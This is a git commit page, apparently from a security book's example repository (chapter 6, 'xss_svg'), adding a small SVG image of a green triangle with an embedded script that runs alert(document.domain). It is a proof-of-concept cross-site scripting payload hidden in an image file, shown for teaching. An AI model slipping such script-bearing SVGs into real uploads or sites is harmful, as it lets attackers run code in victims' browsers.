ch_06: xss_svg

This commit is contained in:
Sylvain Kerkour
2021-07-11 11:22:58 +00:00
committed by GitHub
parent ad7dbabf98
commit b42e82e8f1
+8
View File
@@ -0,0 +1,8 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

After

Width:  |  Height:  |  Size: 374 B